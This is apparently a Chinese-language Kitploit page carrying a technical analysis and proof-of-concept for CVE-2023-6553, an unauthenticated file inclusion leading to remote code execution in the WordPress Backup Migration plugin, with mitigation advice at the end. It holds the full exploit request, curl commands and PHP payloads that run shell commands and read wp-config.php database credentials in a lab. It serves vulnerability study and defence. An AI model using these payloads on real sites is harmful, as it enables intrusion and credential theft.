Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-6553 — 针对 CVE-2023-6553 的概念验证漏洞利用与技术分析,该漏洞是 WordPress Backup Migration 插件 <=1.3.7 中存在的未认证 PHP 文件包含漏洞,可实现远程代码执行。 | Kitploit
工具/GitHubGitHub/dungsocool/cve-2023-6553
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubdungsocool/cve-2023-6553

CVE-2023-6553

针对 CVE-2023-6553 的概念验证漏洞利用与技术分析,该漏洞是 WordPress Backup Migration 插件 <=1.3.7 中存在的未认证 PHP 文件包含漏洞,可实现远程代码执行。

查看仓库
16天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2023-6553

PHP 文件包含导致 RCE — Backup Migration 插件

插件: Backup Migration (backup-backup) ≤ 1.3.7

CVSS: 9.8(严重)

CWE: CWE-98 — 对用于 Include/Require 语句的文件名控制不当

身份验证要求: 无

影响: 远程代码执行


1. 这是什么漏洞?

Backup Migration 是一个相当流行的 WordPress 插件(约 90,000+ 个活跃安装),可帮助用户创建备份副本。在备份过程中,插件有一个名为 backup-heart.php 的文件在后台运行——它通过 HTTP 头接收配置信息,以了解需要备份哪个目录、配置文件位于何处等信息。

问题在于,该文件完全信任客户端发送的 HTTP 头,直接将头值放入文件路径,然后使用 require_once() 从该路径加载文件。攻击者只需发送指向包含恶意 PHP 代码目录的 Content-Dir 头 → 服务器就会自动包含并执行该文件。

值得注意的是,backup-heart.php 文件不需要身份验证——它只检查请求方法是否为 POST,而不验证任何 nonce 或用户权限。互联网上的任何人都可以向它发送请求。

⇒ 这是一个零点击漏洞。

属性值
CVE IDCVE-2023-6553
CVSS 评分9.8(严重)
插件backup-backup (Backup Migration) ≤ 1.3.7
身份验证不需要
用户交互无(零点击)
已修复版本 1.3.8

2. 背景知识

PHP 中的文件包含

PHP 有 include()、require()、require_once() 等函数,用于将其他 PHP 文件包含到正在运行的程序中。当传给这些函数的文件路径来自用户输入且未经验证时,攻击者可以强制服务器包含他们想要的任何文件:

  • LFI(本地文件包含): 加载服务器上已有的文件——例如,一个已被 PHP 代码“投毒”的日志文件。
  • RFI(远程文件包含): 从外部服务器加载文件——需要 allow_url_include=On(通常默认禁用)。

此 CVE 属于 LFI——攻击者控制传给 require_once() 的路径,使其指向攻击者已设法写入服务器的 PHP 文件。

为什么 HTTP 头是危险的?

许多开发人员认为 HTTP 头是只有服务器和客户端才知道的“内部”元数据。实际上,攻击者 100% 控制头内容——他们可以设置任何头名称和值。信任头就像信任表单输入一样——必须经过验证。

define() 与 PHP 常量

define('NAME', $value) 会创建一个在整个应用程序中使用的常量。一旦被 define,该值就无法更改。如果 $value 来自攻击者,那么使用该常量的每个地方都会受到影响。

3. 源代码分析——漏洞源于何处?

第 1 步:寻找 Sink

我首先使用 grep 在插件中搜索所有 require 和 include 语句:

root@kitploit:~
grep -rn "require\|include" includes/

image.png

搜索结果返回了许多 require/include 调用。查看后发现,大多数是 banner/misc.php 和 banner/views/index.php 中的 include_once 调用——这些属于使用硬编码路径的管理员 UI 渲染代码,无法利用。

然而,backup-heart.php 中的两行引起了我的注意:

root@kitploit:~
includes/backup-heart.php:64:   define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
includes/backup-heart.php:118:  require_once BMI_INCLUDES . '/bypasser.php';

第 118 行使用 require_once 和常量 BMI_INCLUDES——如果这个常量是硬编码的,那就是安全的。但向上看到第 64 行时,我发现 BMI_INCLUDES 是由另一个常量 BMI_ROOT_DIR 构造的。因此我们需要进一步追踪:BMI_ROOT_DIR 在哪里被赋值?

我再次使用 grep 进行追踪:

root@kitploit:~
grep -n "BMI_ROOT_DIR" includes/backup-heart.php

结果:

image.png

root@kitploit:~
Line 62: define('BMI_ROOT_DIR', $fields['content-dir']);
Line 64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');

第 62 行显示 BMI_ROOT_DIR 的值来自 $fields['content-dir']。这是一个变量,不是固定值——我们需要打开文件,看看 $fields 里包含什么。

第 2 步:检查源代码——$fields 从哪里来?

我在 VS Code 中打开 backup-heart.php 第 62 行:

root@kitploit:~
// Line 62
define('BMI_ROOT_DIR', $fields['content-dir']);

// Line 64
define('BMI_INCLUDES', BMI_ROOT_DIR. 'includes');

image.png

可以清楚地看到,$fields['content-dir'] 直接进入了 define()。现在我们需要确定 $fields 变量是在哪里被赋值的:

root@kitploit:~
// Lines 7-9: Only checks POST method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    exit;
}

// Lines 30-33: Reads ALL HTTP headers from the request
if (isFunctionEnabled('getallheaders')) {
    $fields= getallheaders();
}

// Lines 42-46: Lowercases header names
foreach ($fieldsas $key=> $value) {
    $buffer= $value;
    unset($fields[$key]);
    $fields[strtolower($key)] = $value;
}

image.png

image.png

此时,根本原因变得非常清楚:$fields 保存着通过 getallheaders() 获取的所有 HTTP 头——完全由客户端控制。没有 wp_verify_nonce(),没有 current_user_can(),没有有效路径检查——它只是验证 POST 方法,然后直接读取头。

第 3 步:攻击流程总结

root@kitploit:~
Attacker sends POST request with header Content-Dir: /path/to/attacker/
    ↓
getallheaders() reads raw headers → $fields['content-dir'] = "/path/to/attacker/"
    ↓
define('BMI_ROOT_DIR', "/path/to/attacker/")   ← no validation
    ↓
define('BMI_INCLUDES', "/path/to/attacker/includes")
    ↓
require_once "/path/to/attacker/includes/bypasser.php"   ← executes PHP
    ↓
Attacker code runs with www-data privileges → RCE

根本原因总结: HTTP 头 → define() → require_once(),中间没有任何验证步骤。

第 4 步:使用 Xdebug 调试

我使用 Xdebug + VS Code 直观地确认了攻击流程。我在 backup-heart.php 的第 62 行和第 118 行设置了 2 个断点,然后使用 curl 发送了漏洞利用请求。

断点 1——第 62 行:

调试器正好停在 define('BMI_ROOT_DIR', $fields['content-dir']) 处。在“变量”面板中展开 $fields 变量,显示了一个包含 22 个元素的数组——包含客户端发送的所有 HTTP 头。具体来说:

  • content-dir = "/tmp/bmi/" — 这正是通过头发送的值,它被直接赋值给 BMI_ROOT_DIR 常量。
  • content-abs = "/var/www/html/"、content-configdir = "/tmp/bmi/"、content-backups = "/tmp/bmi/back..." — 全部由攻击者控制。

在将 content-dir 传给 define() 之前,没有应用任何验证或过滤步骤。

image.png

断点 2——第 118 行:

按 F5 后,调试器停在 require_once BMI_INCLUDES . '/bypasser.php' 处。查看状态:

  • 变量面板: $fields 仍然保留着 content-dir = "/tmp/bmi/" —— 证明该值在第 62 行到第 118 行之间没有被更改。
  • 调用堆栈面板: 显示 {main} backup-heart.php 118:1 —— 代码从文件顶部直接执行到这个位置,绕过了任何中间件或身份验证检查。
  • 第 118 行准备包含路径为 /tmp/bmi/includes/bypasser.php 的文件——该文件的内容由攻击者控制。

image.png

调试结果完美确认了第 3 步中分析的流程:HTTP 头从 getallheaders() → define() → require_once(),中间没有验证。

4. 攻击链

第 1 步——将 PHP 文件放置到服务器上

在触发包含之前,目标服务器上必须已经存在一个 PHP 文件。常见的技术包括:

方法概念
日志投毒在 User-Agent 中发送包含 <?php ... ?> 的请求 → 代码被写入访问日志 → 包含日志文件
PHP 会话将 PHP 代码写入位于 的会话文件

第 2 步——通过 1 个 POST 请求触发包含

发送一个 Content-Dir 指向包含 payload 目录的请求。服务器会自动 require 并执行攻击者的文件。

root@kitploit:~
POST /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1
Host: target.com
Content-Dir: /tmp/bmi/
Content-Abs: /var/www/html/
Content-Content: /var/www/html/wp-content/
Content-Configdir: /tmp/bmi/
Content-Backups: /tmp/bmi/backups/
Content-Safelimit: 1
Content-Browser: true
Content-Identy: 1
Content-Manifest: 1
Content-Rev: 1
Content-Name: test
Content-Start: 1
Content-Filessofar: 0
Content-Total: 1
Content-Bmitmp: /tmp/
Content-It: 1
Content-Dbit: 1
Content-Dblast: 1
Content-Url: http://target.com/

必须提供所有 Content-* 头,因为 backup-heart.php 会在其他 define() 调用中使用它们——缺少头会触发 PHP 警告,并可能在执行到 require_once 之前中止运行。

5. PoC——实验室利用

5.1 验证端点是否开放

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" -X POST \
  "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php"

返回 200——端点已开放,且不提示身份验证。

image.png

5.2 创建 Payload 文件

创建与 require_once 预期查找结构匹配的目录:{Content-Dir}includes/bypasser.php:

root@kitploit:~
mkdir -p /tmp/bmi/includes

cat > /tmp/bmi/includes/bypasser.php << 'EOF'
<?php echo "RCESTART"; echo shell_exec("id"); echo "RCEEND"; die(); ?>
EOF

image.png

5.3 发送漏洞利用请求——RCE

root@kitploit:~
curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" \
  -H "Content-Dir: /tmp/bmi/" \
  -H "Content-Abs: /var/www/html/" \
  -H "Content-Content: /var/www/html/wp-content/" \
  -H "Content-Configdir: /tmp/bmi/" \
  -H "Content-Backups: /tmp/bmi/backups/" \
  -H "Content-Safelimit: 1" \
  -H "Content-Browser: true" \
  -H "Content-Identy: 1" \
  -H "Content-Manifest: 1" \
  -H "Content-Rev: 1" \
  -H "Content-Name: test" \
  -H "Content-Start: 1" \
  -H "Content-Filessofar: 0" \
  -H "Content-Total: 1" \
  -H "Content-Bmitmp: /tmp/" \
  -H "Content-It: 1" \
  -H "Content-Dbit: 1" \
  -H "Content-Dblast: 1" \
  -H "Content-Url: http://localhost:8181/"

输出结果:

image.png

RCE 成功——服务器执行了 id 命令并返回输出。

5.4 演示影响——读取数据库凭据

在确认 RCE 后,我修改了 payload,以演示攻击者可以读取服务器上的敏感信息。将 payload 文件内容改为读取 wp-config.php:

root@kitploit:~
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("grep DB_ /var/www/html/wp-config.php"); echo "\nRCEEND"; die(); ?>
EOF'

重新发送相同的 curl 漏洞利用请求 → 输出返回数据库连接信息:

root@kitploit:~
curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" -H "Content-Dir: /tmp/bmi/" -H "Content-Abs: /var/www/html/" -H "Content-Content: /var/www/html/wp-content/" -H "Content-Configdir: /tmp/bmi/" -H "Content-Backups: /tmp/bmi/backups/" -H "Content-Safelimit: 1" -H "Content-Browser: true" -H "Content-Identy: 1" -H "Content-Manifest: 1" -H "Content-Rev: 1" -H "Content-Name: test" -H "Content-Start: 1" -H "Content-Filessofar: 0" -H "Content-Total: 1" -H "Content-Bmitmp: /tmp/" -H "Content-It: 1" -H "Content-Dbit: 1" -H "Content-Dblast: 1" -H "Content-Url: http://localhost:8181/"

攻击者可以读取 www-data 有权访问的任何文件——wp-config.php、/etc/passwd、其他插件的源代码——从而扩大攻击面。

image.png

5.5 收集系统信息

进一步修改 payload,以演示攻击者可以收集服务器系统信息——有助于权限提升或横向移动:

root@kitploit:~
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("uname -a"); echo shell_exec("hostname -I"); echo "\nRCEEND"; die(); ?>
EOF'

发送 curl 漏洞利用请求 → 输出:

root@kitploit:~
RCESTART
Linux 544a7c6002c6 6.18.33.1-microsoft-standard-WSL2 x86_64 GNU/Linux
172.18.0.3

RCEEND

image.png

从该输出中,攻击者可以发现:

  • 内核版本——用于查找可利用的内核漏洞以进行 root 权限提升
  • 内部 IP 172.18.0.3——确认服务器位于 Docker 网络内,从而能够转向其他容器(数据库、缓存等)

6. 危害严重性

现实世界影响

  • 90,000+ 个网站使用此插件。
  • 攻击者通过向端点发送 1 个 POST 请求来探测插件——200 表示存在,404 表示不存在。
  • 停用插件仍可被利用,因为 backup-heart.php 位于磁盘上,可以直接通过 URL 访问。
  • RCE 之后,攻击者可以:转储数据库、安装后门、在同一网络内转向其他服务器。

7. 缓解与修复

开发人员应做什么

不要使用 HTTP 头来确定文件路径。使用基于 __DIR__ 的相对路径:

root@kitploit:~
// Vulnerable: uses whatever header value the attacker sends
define('BMI_ROOT_DIR', $fields['content-dir']);

// Fixed: uses fixed path, attacker cannot modify
define('BMI_ROOT_DIR', dirname(__FILE__) . '/../');

添加授权检查——只允许 WordPress 管理员调用此端点:

root@kitploit:~
if (!wp_verify_nonce($fields['content-nonce'], 'bmi_backup_action')) {
    die('Unauthorized');
}

WordPress 管理员应做什么

  1. 立即更新到版本 ≥ 1.3.8。
  2. 如果不再使用,请完全删除该插件——仅停用是不够的,因为文件仍然可访问。
  3. 检查访问日志中针对 backup-heart.php 的可疑请求。
  4. 实施 WAF 规则,阻止直接向 /wp-content/plugins/*/includes/*.php 发送 POST 请求。
下载工具
/tmp/sess_xxx
上传链利用 WordPress 媒体/头像上传功能上传该文件
插件错误日志插件会写入自己的错误日志——触发包含 PHP 代码的错误,从而将代码写入日志文件
CVSS 指标值原因
攻击向量网络通过 HTTP
攻击复杂度低1 个 POST 请求,无需特殊时机或条件
所需权限无端点不需要身份验证
用户交互无攻击者驱动,受害者无需交互
机密性高可读取任意文件:wp-config.php、/etc/passwd、源代码
完整性高任意文件写入、安装 WebShell、修改数据库
可用性高删除文件、终止进程、完全控制服务器